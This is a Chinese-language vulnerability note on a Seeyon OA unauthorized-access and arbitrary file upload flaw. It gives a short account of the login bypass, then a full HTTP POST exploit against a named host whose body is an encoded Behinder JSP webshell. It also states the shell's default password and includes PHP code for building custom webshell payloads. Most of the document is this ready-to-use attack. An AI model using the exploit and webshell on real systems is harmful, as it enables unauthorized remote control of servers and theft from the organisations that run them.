seeyonOA-ajax未授权访问及任意文件上传漏洞

参考：

1、http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COA%20ajax.do%E7%99%BB%E5%BD%95%E7%BB%95%E8%BF%87%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.html

2、宽字节：https://mp.weixin.qq.com/s/bHKDSF7HWsAgQi9rTagBQA

0x1 原理：

OA旧版本某些接口存在未授权访问，以及部分函数存在过滤不足，攻击者通过构造恶意请求，可在无需登录的情况下上传恶意脚本文件，从而控制服务器。

CTPHandlerInterceptor先判断是否为ajax请求，生成ignoreUrl。User.isIgnoreUrl可以根据ignoreUrl判断是否需要重定向到用户登录页面。所以我们只要使用特定的ignoreUrl就可以绕过登录，访问被保护的接口，比如文件上传接口。

0x2 复现：

poc:

POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1 Host: oatest.dptech.com:81 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 3485

managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%0AuTK%C2%93%C2%A2H%10%3E%C3%AF%C3%BE%0A%C3%82%C2%8Bv%C3%B4%C2%8C%C2%8D+c%C2%BB%13%7Bh_%C2%88%28%2A%28%C2%AF%C2%8D%3D%40%15Ba%15%C2%B0%C3%B2%10%C3%AC%C2%98%C3%BF%C2%BE%05%C3%98%C3%93%3D%C2%B1%C2%BDu%C2%A9%C3%8C%C2%AC%C3%8C%C2%AF%C3%B2%C3%BD%C3%97k%C3%B7%14_H%C2%8E%C2%9DC%C2%95x%C3%9D%3F%C2%98%C3%81%17%C3%A6M%C2%A28%C2%A4%C2%96t3%2F%C3%8D%C2%BA%C3%AF%C3%A2y%C2%99%5C%C2%BC4EqT%3Fj%C3%99%05E%3E%C2%938Y%C3%80%C3%BC%C3%89t%C3%BA%C3%BD%C2%A7%C2%AB%C3%A7%3AI%C2%92%3E%C2%A5%C2%9EW%C3%85%C3%91S%C3%A7%C3%BB%C3%AFL%7B%7E%0B%C2%9D%C3%82%C3%A9%C2%A3%C2%B8%C2%BF%C2%A3%26%C2%99qA%C2%99wa%C2%92w%C2%9A%C2%A3%00%C2%91we%3EQ%C3%AB%C3%95%C3%B8%C2%8F%C2%9D%C2%9D%C2%87%C3%B6%C2%A8%1F%C2%A6I%C3%99y%C3%B8%09%C3%8B%C3%9C%5DH%03%0F%C3%A3%C3%9A%C2%87%C2%9D%C2%98%C3%9C%C3%80%2C%C2%A9%5Cn%C3%8CJ%C3%8B+sE%C3%A1%C2%B6%25%C2%B5%C2%8CE%C3%8ERe%C3%81%2C.%C3%96%5C%12%402%C3%8F%01%C2%AF%C3%A7k%C2%A2%14%C2%AE6%C2%96%C2%8F%C2%83%C2%97%C3%A2%28.%22%5B%C2%93%7CH%C3%B4%0Ap%C2%B8pC%16m%C2%B4a%25%C2%85%C3%83g%27R%C2%AE%5B%C2%A2%26%C2%80%C3%A8%21%141gk%C3%82%C3%952+%C2%96D%C2%9C%01q%5C%C3%81%1A%C2%9F%2C8K%13%06%C3%B4%3D%5D%C2%A38mx%C3%93%C3%8F-%7E%25%C2%80%C2%A5Z%7C%2A%C2%A3%C2%B8%C2%B6%C2%B1%C3%89e%24%15%C2%BB%C2%B0%C3%BC%07%C3%B0%2F%C3%9FlQ%0F%5DqQY%C2%A6%C2%9A%C2%B8%C3%9C%C3%B0Q%12%C2%95%C3%942%C2%95%C2%9B%C2%B48%C3%BA%C2%B6%19%C2%B0%C2%B6%21%C2%9CA5%C2%99Q%C2%9D%1B%60%C3%8B%C3%822T%0C%C2%A2L%C2%97%C3%A7%C2%AD%C3%9EA%1C%07%14%C2%A3%C2%92%C3%84M%C3%A2%C3%B1%C3%8A%00PZ%C2%A6%C3%B4%C2%96%1F%5C%C2%A1%C2%B1J%1Dc%C3%A3%C3%AF%C2%B92%00%C3%BC%C3%86%C2%B7%C2%AB%00y%C2%A6%C2%8A%C2%A5E%06-%C2%84G4%3E%16%C2%9A%C2%AB%5CZ%C2%B6vk%C2%A2b%C2%9B%C3%A0%C3%9C%3E%C2%B6%C3%98%C2%B2%28%C2%A5%C2%9Bi%C2%89%C3%96%C2%A4%C3%84.%C2%81%C2%AC3%3D%C2%8FN%26%C3%BBLsZ%C3%A7%C3%BDl%1B%C2%B5%C3%9E%2A%C2%A09%C2%A0%C3%B9%C2%BB%C3%A7-RB%40%C3%B0%15%C2%8A%25%C2%863%C3%A1%00%C2%97%C2%AB%C3%84%25%C3%80wn%2C%C2%B2%0F%C3%BB%C2%81%7D%C3%98T%5B%C3%83%C3%86V%C2%A8%C2%9F%C2%B7%07i%60%21i%048%C3%BD%C3%96%C3%94%00%09Wh%C2%AA%C2%86e%C2%94%03%5B%C3%B3%11%C3%94%C2%A4%C3%94%C2%A9%C3%8E%C2%A3%3D%C2%87%C2%AFN%1B%C3%A3%C3%B8%C2%8D%5E%13%C2%88%C3%A1%1C%C3%93%C2%BA%C2%AA%C2%81K%14%2COW%13U%C3%9F+%C3%B9%C2%90%C2%85k%1A%C2%83c%C3%AE%C3%A3%0D%2As%C3%9B%04%C3%BE%C2%91%C3%93%C3%83%3AV%C2%8D%C3%93%C2%85%23%3F%C3%81V%C3%A5%C3%87%1F%C3%BE%C2%8C%C3%AC_%C3%BFL%C3%A4JB%C2%B2%C3%96%C3%88%C2%A7u%C2%BE%40%C3%A5%27%C3%AB7%7C%C3%AD%3Cr%C2%89%C3%8E%C3%93%C3%BA%C3%84P%0C%12P5zm%7Dj%C2%BD%C3%86%C2%AF_k%23O%C3%8FT%0Eb%C2%AB%12%C3%8E.k%C3%93%7C%2CRY%140%C2%AC%267h%0Cs%C3%97%C3%807%C3%BA6%C3%9D%C3%AB%C3%8AB%09%C3%959%C3%8Dkq%C2%B7%C3%8B%C2%9B%C3%BE%C3%A0T%C2%BC%C2%8Ftb%C3%93%5E%C2%95%C2%97%2B%0CL%1D%03%7E%C2%9F%C3%9B%C2%9C%C3%8E%1E%C2%89%C3%BE%C3%B6G%0Ej%C2%9AN%C2%ADK%C2%8E1%C3%B53%C2%A11%C3%90%C3%B8%C3%A1%C3%8A%C2%8D%14%C3%962%C2%84%C2%90%C3%86G%C3%BD%C3%90Kh%2CRP%05MO%C3%AF%C2%B9q%0EE%7D%08imw%C3%93q%C3%93%C2%93%C2%80S%2A%C3%87%C2%9C%C2%B0%C2%AE%C2%A8%C2%B3%C2%BB%C3%B0Z%C2%B4u%5D%15.%C2%BF%7F%7C%C2%9Fr%26%C3%8D%C2%A3%3EA%29%C3%A8O%5E%C2%B4%C3%B9%C2%B7%C3%A1%C3%8C%031%C2%A4%C2%83%0E%C3%AFw%3B%C3%A3%C2%9F%2B%C3%B5%C3%BE%3B%C3%95%C2%AD%C3%99%C2%9Dim%5B%C2%A6w%07%C3%AC%C2%B7%C3%B7%24%3F%C2%9D%28%40%C2%B3%04%1E%C2%BEt%C2%8E%C2%87%C3%85%C3%97%C3%A7%C2%8FK%C3%A2%C3%A3%C2%9E%C3%A97%0C%C2%8Ez%1F%C3%81%C3%BFO%17%C3%A08%C3%B5%C2%A8c%3F%C2%BE%C3%97%7B%C2%90%12%C3%90%3B1i%C3%A6d%080eY%C3%B6%1E%5E%C2%BB%3F%C3%A8r%C2%A4%0B%C3%B2%C2%B5%C2%BE%C2%B3K%C3%AEu%C3%BF%C3%BE%17%1CR%C2%AD%17W%05%00%00

成功的话会返回：

冰蝎连接：默认密码：rebeyond

特殊：

漏洞的原理很简单，感觉学到的是关于冰蝎这个poc的生成：

将冰蝎3默认的jsp的shell先做了base64的加密，然后做gzip数据的压缩

gzdecode — Decodes a gzip compressed string，解压一个使用 gzip 压缩的字符串

最后进行了 url编码

可以自定义：

$webshell = str_replace("../webapps/seeyon/","../webapps/seeyon/",$webshell); $webshell = str_replace("PeiQi.jspx","PeiQi.jspx",$webshell); $webshell = str_replace("e45e329feb5d925b","e45e329feb5d925b",$webshell);

$webshell = gzencode($webshell); $webshell = iconv("ISO-8859-1","UTF-8" ,$webshell); $webshell = urlencode("$webshell");

（然后关注了一下清水川崎师傅